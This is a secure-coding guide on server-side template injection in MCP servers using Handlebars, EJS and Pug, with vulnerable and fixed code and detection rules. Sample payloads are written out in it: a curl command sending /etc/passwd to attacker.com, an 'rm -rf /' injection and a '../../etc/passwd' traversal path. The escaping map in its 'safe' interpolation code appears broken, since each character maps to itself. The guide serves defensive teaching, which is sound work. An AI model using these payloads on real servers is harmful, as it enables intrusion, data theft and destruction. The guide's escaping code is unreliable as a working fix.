Topic: mcp server template injection security
MCP server template injection security — Handlebars, EJS, Pug SSTI
Server-side template injection (SSTI) occurs when user-controlled input is treated as a template string and evaluated by a template engine. In MCP servers, this pattern appears when a tool accepts a "template" or "format" parameter and renders it using Handlebars, EJS, Pug, or a similar engine. Unlike stored XSS (which executes in a browser), SSTI executes on the server — and in Node.js template engines, SSTI is effectively remote code execution: an attacker who controls a template string can access process.env, spawn child processes, and read arbitrary files from the server's filesystem.
Pattern 1: Handlebars compile of user-supplied template
Handlebars has a sandbox mode but its default configuration allows access to this and any property of the data context, including prototype chain traversal. More critically, Handlebars helpers can be defined that execute arbitrary code — and in older versions of Handlebars (below 4.7.7), the prototype chain traversal itself was an RCE vector. The key rule is simple: never compile a user-supplied string as a Handlebars template.
const Handlebars = require('handlebars');
// WRONG: user-supplied template string compiled and rendered
async function renderNotification_WRONG(toolParams) {
const { template, userName, projectName } = toolParams;
// If template = "{{#with (lookup (lookup . 'constructor') 'prototype')}}..."
// → prototype chain traversal RCE in Handlebars < 4.7.7
// Even in 4.7.7+: user template can reference any data context property
const compiled = Handlebars.compile(template); // NEVER compile user input
return compiled({ userName, projectName });
}
// RIGHT: template is a static string in your code, only data is user-supplied
const NOTIFICATION_TEMPLATE = Handlebars.compile(
'Hello {{userName}}, your project {{projectName}} has been updated.'
);
async function renderNotification(toolParams) {
const { userName, projectName } = toolParams;
// Validate: only alphanumeric + basic punctuation in data values
if (!/^[a-zA-Z0-9 _\-\.@]+$/.test(userName) ||
!/^[a-zA-Z0-9 _\-\.@]+$/.test(projectName)) {
return { error: 'Invalid characters in name fields' };
}
// User values go into the DATA object, not into the template string
return { result: NOTIFICATION_TEMPLATE({ userName, projectName }) };
}
// RIGHT: if you need dynamic template selection, use a whitelist of template names
const ALLOWED_TEMPLATES = {
notification: Handlebars.compile('Hello {{name}}, {{message}}'),
summary: Handlebars.compile('Project {{project}}: {{count}} items'),
};
async function renderTemplate(toolParams) {
const { templateName, data } = toolParams;
if (!Object.prototype.hasOwnProperty.call(ALLOWED_TEMPLATES, templateName)) {
return { error: 'Unknown template name' };
}
return { result: ALLOWED_TEMPLATES[templateName](data) };
}
Pattern 2: EJS render of user-controlled template string
EJS (Embedded JavaScript) is significantly more dangerous than Handlebars for template injection because EJS's syntax explicitly supports arbitrary JavaScript execution via <% code %> tags. An attacker who controls an EJS template string has trivial RCE: <% require('child_process').exec('curl attacker.com/?d=$(cat /etc/passwd)', () => {}) %>.
const ejs = require('ejs');
// WRONG: user input as EJS template → direct RCE
async function generateReport_WRONG(toolParams) {
const { reportTemplate, reportData } = toolParams;
// If reportTemplate = "<% process.mainModule.require('child_process')
// .exec('rm -rf /') %>"
// → arbitrary command execution on the server
const html = ejs.render(reportTemplate, reportData); // NEVER render user input as EJS
return { html };
}
// RIGHT: template is a static file or static string; user input is data only
const REPORT_TEMPLATE_PATH = path.join(__dirname, 'templates', 'report.ejs');
async function generateReport(toolParams) {
const { reportData } = toolParams;
// Validate: only render from a pre-approved template file path
// ejs.renderFile reads from disk — path must not be user-controlled
const html = await ejs.renderFile(
REPORT_TEMPLATE_PATH,
{
// Only pass the specific fields the template uses
title: String(reportData.title || 'Report').slice(0, 200),
items: Array.isArray(reportData.items) ? reportData.items.slice(0, 100) : [],
},
{ escape: true } // ensure output is HTML-escaped
);
return { html };
}
// ALSO WRONG: ejs.renderFile with user-controlled path → path traversal + SSTI combined
async function renderFromPath_WRONG(toolParams) {
const { templatePath, data } = toolParams;
// If templatePath = "../../etc/passwd" — reads arbitrary files
// If templatePath points to user-uploaded file — SSTI
return ejs.renderFile(templatePath, data); // NEVER user-controlled path
}
Pattern 3: safe template interpolation as an alternative to SSTI-prone engines
If an MCP tool genuinely needs to let users define output templates — e.g., a "format output as" tool that lets users customize notification text — the safe approach is a logic-less interpolation that only replaces {{variable}} tokens from a pre-defined allowlist. No conditionals, no loops, no code execution.
// Safe logic-less template interpolation — no template engine required
const ALLOWED_VARS = new Set(['userName', 'projectName', 'timestamp', 'count', 'status']);
function safeInterpolate(template, data) {
// Only replace {{varName}} tokens where varName is in ALLOWED_VARS
// All other content is treated as literal text
return template.replace(/\{\{([a-zA-Z_][a-zA-Z0-9_]*)\}\}/g, (match, varName) => {
if (!ALLOWED_VARS.has(varName)) {
return match; // unknown variable → leave as literal text, don't evaluate
}
const value = data[varName];
if (value === undefined || value === null) return '';
// Always coerce to string and HTML-escape — never trust the data value
return String(value).replace(/[<>&"']/g, c => ({
'<': '<', '>': '>', '&': '&',
'"': '"', "'": '''
}[c]));
});
}
// Tool handler: user provides template string, server provides data
async function formatNotification(toolParams) {
const { template } = toolParams;
if (typeof template !== 'string' || template.length > 500) {
return { error: 'template must be a string under 500 characters' };
}
const data = {
userName: await getCurrentUser(),
projectName: await getCurrentProject(),
timestamp: new Date().toISOString(),
};
return { result: safeInterpolate(template, data) };
}
// This is safe because:
// 1. The replacement pattern only matches {{identifier}} — no code execution syntax
// 2. Only variables from ALLOWED_VARS are substituted — no access to process, require, etc.
// 3. All substituted values are HTML-escaped — no XSS if output is rendered in a browser
// 4. Unknown variables are left as literal text — no error disclosure
SkillAudit detection
SkillAudit's Security axis flags these patterns:
Handlebars.compile(,ejs.render(,ejs.compile(,pug.compile(,pug.render(where the first argument is a tool parameter or a variable derived from tool parameters — these are direct SSTI surfaces.ejs.renderFile(where the path argument includes any tool parameter value — this is path traversal + SSTI combined.- Template engine package imports (
require('handlebars'),require('ejs'),require('pug')) combined with tool handlers that acceptstring-typed parameters namedtemplate,format,layout, orpattern— these are high-probability SSTI contexts requiring deeper LLM-assisted review.
→ MCP server prototype pollution — __proto__, constructor.prototype
→ MCP server deserialization security — JSON.parse pollution, eval gadgets
→ Input validation patterns for MCP server tool parameters